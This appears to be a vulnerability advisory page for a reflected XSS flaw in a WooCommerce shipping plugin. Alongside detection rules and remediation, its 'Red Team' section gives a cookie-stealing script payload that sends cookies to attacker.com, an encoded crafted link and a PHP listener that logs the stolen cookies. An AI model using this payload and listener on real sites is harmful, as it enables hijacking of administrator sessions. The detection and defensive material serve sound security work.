CVE-2024-12222
Executive Summary
CVE-2024-12222 is a reflected cross-site scripting (XSS) vulnerability in the Deliver via Shipos for WooCommerce WordPress plugin, affecting all versions up to and including 2.1.7. The flaw resides in the dvsfw_bulk_label_url parameter, which is insufficiently sanitized and escaped. An unauthenticated attacker can craft a malicious link that, when clicked by an authenticated administrator, executes arbitrary JavaScript in the context of the WordPress admin panel. This can lead to session hijacking, privilege escalation, or defacement. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a persistent risk for unmaintained sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have auto-updates enabled may still be vulnerable if the plugin author has not released a patched version. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Unauthenticated attacker.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited modification possible.
- Availability (A): None (N) – No denial of service.
Overall Score: 6.1 (Medium)
Severity: Medium – Exploitation requires user interaction but can lead to significant impact in a WordPress admin context.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the WordPress plugin ecosystem. The dvsfw_bulk_label_url parameter is used to generate bulk shipping labels. The plugin fails to sanitize or escape this parameter before reflecting it in the response. An attacker can inject arbitrary HTML/JavaScript via a crafted URL.
Attack Flow:
- Attacker crafts a URL:
https://target.com/wp-admin/admin.php?page=shipos-bulk-label&dvsfw_bulk_label_url=<script>alert('XSS')</script> - Attacker sends this link to an authenticated admin (e.g., via email or social engineering).
- Admin clicks the link while logged into WordPress.
- The injected script executes in the admin's browser, potentially stealing cookies, performing actions on behalf of the admin, or redirecting to malicious sites.
Root Cause: Insufficient input sanitization and output escaping in the plugin's handling of the dvsfw_bulk_label_url parameter.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely looks like:
// Vulnerable code (hypothetical)
$bulk_label_url = $_GET['dvsfw_bulk_label_url'];
echo '<a href="' . $bulk_label_url . '">Download Labels</a>';
A patched version would use proper escaping:
// Patched code (hypothetical)
$bulk_label_url = esc_url($_GET['dvsfw_bulk_label_url']);
echo '<a href="' . esc_url($bulk_label_url) . '">Download Labels</a>';
The esc_url() function in WordPress strips dangerous characters and ensures the URL is safe for output.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with the vulnerable plugin installed (version <= 2.1.7).
- A victim with admin privileges.
Exploit Payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Crafted URL:
https://target.com/wp-admin/admin.php?page=shipos-bulk-label&dvsfw_bulk_label_url=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E
Steps:
- URL-encode the payload.
- Send the link to the victim via email or social media.
- Set up a listener on
attacker.com/steal.phpto capture cookies.
Steal.php (example):
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
?>
Blue Team (Defender)
Detection:
- Monitor web logs for requests to
/wp-admin/admin.php?page=shipos-bulk-labelwith suspiciousdvsfw_bulk_label_urlparameters containing<script>oronerroretc. - Use WAF rules to block common XSS patterns in query strings.
Honeypot:
- Deploy a fake admin page that logs all
dvsfw_bulk_label_urlrequests.
Response:
- If exploitation is detected, immediately revoke admin sessions and force password resets.
- Disable the plugin until a patch is available.
Indicators of Compromise (IOCs)
- URL Pattern:
*/wp-admin/admin.php?page=shipos-bulk-label&dvsfw_bulk_label_url=* - Log Entries: Requests containing
dvsfw_bulk_label_urlwith encoded<script>tags. - Network Traffic: Outbound connections to attacker-controlled domains from admin browsers.
- File Changes: Unexpected modifications to WordPress admin pages or plugin files.
Detection Engineering
YARA Rule
rule CVE_2024_12222_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting CVE-2024-12222 in Deliver via Shipos for WooCommerce"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12222"
strings:
$param = "dvsfw_bulk_label_url="
$xss1 = /<script[^>]*>/i
$xss2 = /on\w+\s*=/i
$xss3 = /javascript:/i
condition:
$param and any of ($xss*)
}
Sigma Rule
title: Reflected XSS via dvsfw_bulk_label_url Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-12222 in Deliver via Shipos for WooCommerce
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'dvsfw_bulk_label_url='
cs-uri-query|re: '(<script|on\w+=|javascript:)'
condition: selection
falsepositives:
- Legitimate use of the parameter with safe URLs
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12222 Reflected XSS in Deliver via Shipos for WooCommerce"; flow:to_server,established; content:"dvsfw_bulk_label_url="; http_uri; pcre:"/(<script|on\w+=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block requests containing
dvsfw_bulk_label_urlwith suspicious patterns. - Educate administrators about phishing attacks that exploit this vulnerability.
Long-term Fix:
- The vendor must release a patched version that properly sanitizes and escapes the
dvsfw_bulk_label_urlparameter using WordPress functions likeesc_url()andesc_html(). - Users should monitor the plugin's page for updates and apply them immediately.
Workaround:
- If disabling the plugin is not possible, add the following to
.htaccess(Apache) or equivalent:
RewriteEngine On
RewriteCond %{QUERY_STRING} dvsfw_bulk_label_url=.*(<|%3C) [NC]
RewriteRule ^ - [F,L]
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.